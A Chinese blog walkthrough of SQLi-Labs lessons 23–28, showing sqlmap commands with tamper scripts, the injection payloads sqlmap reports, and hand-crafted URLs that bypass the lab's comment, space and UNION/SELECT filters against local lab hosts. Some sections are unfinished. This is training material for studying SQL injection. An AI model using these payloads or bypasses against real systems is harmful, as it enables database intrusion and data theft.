sqlmap刷sqllibs_04-过滤绕过-23-28

本篇文章中的一些过滤讲解大部分来自于我的另外一篇博客,如果不太清楚,可以移步:
Sqllibs-Less23-28

每一关我都尽量试了一下,有些可以有些不太行,关于不太行的,我后续进阶玩法的时候再慢慢补上,如果您看到的时候我还没有补上,可能是我忘记了,可以私信催我一下啦!

23、less23-Error Based-no comments

在这里插入图片描述
如上,可得本关过滤了注释符 #- -

在本关中类似于第一关,但是对于id进行了注释符的过滤,因此我们需要利用参数 - - tamper = versionedkeywords.py 进行绕过。

脚本:versionedkeywords.py
注释绕过

以下为sqlmap的注入语句:

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-23/index.php?id=1" --tamper=versionedkeywords.py

以下为sqlmap给出的payload:

sqlmap identified the following injection point(s) with a total of 261 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 7930=7930 AND 'RTnv'='RTnv

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71716a7171,(SELECT (ELT(5071=5071,1))),0x7176786a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'rldO'='rldO

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8909 FROM (SELECT(SLEEP(5)))NQXU) AND 'zgve'='zgve
---

24、less24-Second Degree Injections

25-less25-Trick with OR & AND

在这里插入图片描述
由上我们可以发现本关过滤了or和and字符串,因此我们需要利用参数 - - tamper = versionedkeywords.py 进行绕过。

以下为sqlmap的注入语句:

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-25/?id=1" --level=5

以下为sqlmap给出的payload:

sqlmap identified the following injection point(s) with a total of 358 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: HAVING boolean-based blind - WHERE, GROUP BY clause
    Payload: id=1' HAVING 7117=7117-- iadr

    Type: error-based
    Title: MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)
    Payload: id=1' PROCEDURE ANALYSE(EXTRACTVALUE(5329,CONCAT(0x5c,0x71766a7071,(SELECT (CASE WHEN (5329=5329) THEN 1 ELSE 0 END)),0x71706b7171)),1)-- IrQH

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: id=1' RLIKE SLEEP(5)-- bBiX

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-4759' UNION ALL SELECT NULL,CONCAT(0x71766a7071,0x6e4d6c6f6c576d664b4741544956706e4c42686e584e74784b6154617173475765556246724b7074,0x71706b7171),NULL-- -
---

25a、less25a-Trick with OR & AND Blind

本关第25关是类似的,闭合方式为数字型,没有单引号,而且没有输出数据库信息,因此我们不能使用报错注入,但还可以使用union注入和延时注入。

以下为sqlmap的注入语句:

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-25a/?id=1" --level 5 --dbs

以下为sqlmap给出的payload:

sqlmap identified the following injection point(s) with a total of 323 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1 RLIKE (SELECT (CASE WHEN (3429=3429) THEN 1 ELSE 0x28 END))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-3034 UNION ALL SELECT NULL,NULL,CONCAT(0x717a706271,0x5a76687552436449644f4751734561586b48645a67546e66516d554b6c4252635a4c66664b796b62,0x71766b6b71)-- -
---

26、less26-Trick With Comments

在这里插入图片描述
在本关中我们过滤的有and、or、/*、#、空格以及\,闭合方式为单引号闭合。

在本关我们可以利用union注入,过滤了空格,我们需要使用其他的字符替换空格。在这里我们利用%b0,替换空格,其他的类似。

http://192.168.10.208:8081/sqli-labs-master/Less-26/?id=0‘ %0b union %0b select %0b 1,2,3 ||'1'='1

以下为sqlmap的注入语句:

以下为sqlmap给出的payload:

26a、less26a-Trick With Comments

看源码可以发现这个代码类似于less26关,但是闭合方式改变为单引号+括号,数据库中的错误信息不进行输出。无法进行报错注入,可以利用延时注入和union注入,因此类似于less26关。

以下为sqlmap的注入语句:

以下为sqlmap给出的payload:

27、less27-Trick with SELECT&UNION

我们的过滤函数,可以发现,相较于26关,这一关过滤的条件增加了很多。过滤的有 :and、or、/*、#、空格、\、出现任意多次的select、一次union、UNION、SELECT、Union、Select。并且可以发现会显示数据库产生报错信息呢,因此可以利用报错注入和union注入。

当我们使用union注入时,可以利用ununionion、SeLecT绕过上面的注入函数。手工其余的类似于上面。
手工注入语句如下:

http://192.168.10.208:8081/sqli-labs-master/Less-27/?id=0'%0bununionion%0bSeLecT%0b1,database(),'@@basedir

易知我们需要进行双写绕过,额,我在我的tamper里面找了一下,并没有发现双写绕过的tamper,所以这个我之后再来补上吧!

以下为sqlmap的注入语句:

以下为sqlmap给出的payload:

27a、less27a-Trick with SELECT&UNION

以下为sqlmap的注入语句:

以下为sqlmap给出的payload:

28、less28-Trick with SELECT&UNION

function blacklist($id)
{
	$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
	$id= preg_replace('/[--]/',"", $id);				//Strip out --.
	$id= preg_replace('/[#]/',"", $id);					//Strip out #.
	$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
	//$id= preg_replace('/select/m',"", $id);	   		//Strip out spaces.
	$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
	$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
	return $id;
}

由上面源码可以得出,本关过滤的了/*、–、#、空格、union select字符串。

本关我试着抛了一下发现还是没有跑出来,希望有办法的大佬可以留言评论啦!

这里我放一下手工注入的语句:

http://192.168.10.208:8081/sqli-labs-master/Less-28/?id=0')%0bUnIoN%0bSeLecT%0b1,database(),('@@basedir
或者(PS:下面不能是&&,一定得是||)
http://192.168.10.208:8081/sqli-labs-master/Less-28/?id=0')%0bUnIoN%0bSeLecT%0b1,database(),@basedir |('1')=('1

28a、less28a-Trick with SELECT&UNION

第28关的盲注形式。
在这里插入图片描述
本关类似于less28,只是少了许多个过滤函数而已,且闭合方式为单引号+括号

以下为sqlmap的注入语句:
本关我们无法利用union注入,因此我们在技术上排除了union。因此利用参数 --technique=BEST

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-28a/?id=1" --level=5 --risk=3 --technique=BEST

以下为sqlmap给出的payload:

sqlmap identified the following injection point(s) with a total of 108 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1') AND 4102=4102-- wgBC

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1') AND (SELECT 4887 FROM (SELECT(SLEEP(5)))RnLD)-- NYSM
---
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值